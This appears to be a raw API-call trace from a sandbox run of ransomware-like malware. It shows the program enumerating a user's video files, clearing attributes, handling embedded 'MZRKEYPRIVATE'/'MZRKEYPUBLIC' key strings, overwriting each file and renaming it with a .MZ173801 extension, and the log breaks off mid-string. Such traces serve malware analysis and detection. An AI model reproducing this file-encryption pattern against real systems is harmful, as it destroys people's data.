lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\rsEEM5nZHG-x.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\rseem5nzhg-x.swf"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b99fe0, ftCreationTime.dwHighDateTime=0x1d5e1ac, ftLastAccessTime.dwLowDateTime=0xa3c59870, ftLastAccessTime.dwHighDateTime=0x1d5e229, ftLastWriteTime.dwLowDateTime=0xa3c59870, ftLastWriteTime.dwHighDateTime=0x1d5e229, nFileSizeHigh=0x0, nFileSizeLow=0xb527)) returned 1 [0166.483] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\rsEEM5nZHG-x.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\rseem5nzhg-x.swf")) returned 0x20 [0166.483] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\rsEEM5nZHG-x.swf", dwFileAttributes=0x80) returned 1 [0166.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.487] GetCurrentThreadId () returned 0xab4 [0166.487] GetCurrentThreadId () returned 0xab4 [0166.487] GetCurrentThreadId () returned 0xab4 [0166.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24aff6c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.488] GetCurrentThreadId () returned 0xab4 [0166.488] GetCurrentThreadId () returned 0xab4 [0166.488] GetCurrentThreadId () returned 0xab4 [0166.488] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\rsEEM5nZHG-x.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\rseem5nzhg-x.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.488] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.488] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.488] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xb527 [0166.488] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.488] ReadFile (in: hFile=0x27c, lpBuffer=0x24b7d70, nNumberOfBytesToRead=0xb527, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24b7d70*, lpNumberOfBytesRead=0x19f480*=0xb527, lpOverlapped=0x0) returned 1 [0166.489] CloseHandle (hObject=0x27c) returned 1 [0166.491] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\rsEEM5nZHG-x.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\rseem5nzhg-x.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.492] WriteFile (in: hFile=0x27c, lpBuffer=0x24c3da0*, nNumberOfBytesToWrite=0xb527, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24c3da0*, lpNumberOfBytesWritten=0x19f48c*=0xb527, lpOverlapped=0x0) returned 1 [0166.494] CloseHandle (hObject=0x27c) returned 1 [0166.498] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\rsEEM5nZHG-x.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\rseem5nzhg-x.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\rsEEM5nZHG-x.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\rseem5nzhg-x.swf.mz173801")) returned 1 [0166.499] GetCurrentThreadId () returned 0xab4 [0166.499] GetCurrentThreadId () returned 0xab4 [0166.499] GetCurrentThreadId () returned 0xab4 [0166.499] GetCurrentThreadId () returned 0xab4 [0166.499] GetCurrentThreadId () returned 0xab4 [0166.499] GetCurrentThreadId () returned 0xab4 [0166.499] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f71400, ftCreationTime.dwHighDateTime=0x1d5eeaf, ftLastAccessTime.dwLowDateTime=0x6115c780, ftLastAccessTime.dwHighDateTime=0x1d5e0d9, ftLastWriteTime.dwLowDateTime=0x6115c780, ftLastWriteTime.dwHighDateTime=0x1d5e0d9, nFileSizeHigh=0x0, nFileSizeLow=0x18306, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Ze2.mkv", cAlternateFileName="")) returned 1 [0166.499] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.499] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.499] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\Ze2.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\ze2.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f71400, ftCreationTime.dwHighDateTime=0x1d5eeaf, ftLastAccessTime.dwLowDateTime=0x6115c780, ftLastAccessTime.dwHighDateTime=0x1d5e0d9, ftLastWriteTime.dwLowDateTime=0x6115c780, ftLastWriteTime.dwHighDateTime=0x1d5e0d9, nFileSizeHigh=0x0, nFileSizeLow=0x18306)) returned 1 [0166.499] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\Ze2.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\ze2.mkv")) returned 0x20 [0166.499] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\Ze2.mkv", dwFileAttributes=0x80) returned 1 [0166.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoD